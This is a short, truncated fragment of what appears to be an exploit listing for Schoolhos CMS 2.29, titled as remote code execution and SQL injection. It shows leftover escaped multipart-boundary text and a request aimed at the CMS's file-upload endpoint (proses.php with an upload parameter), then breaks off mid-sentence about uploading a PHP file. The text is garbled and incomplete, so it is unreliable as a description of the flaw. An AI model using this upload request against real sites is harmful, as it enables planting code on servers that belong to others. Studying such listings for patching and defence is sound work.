Schoolhos CMS 2.29 - Remote Code Execution / SQL Injection

\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \ 'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload' php file can be c...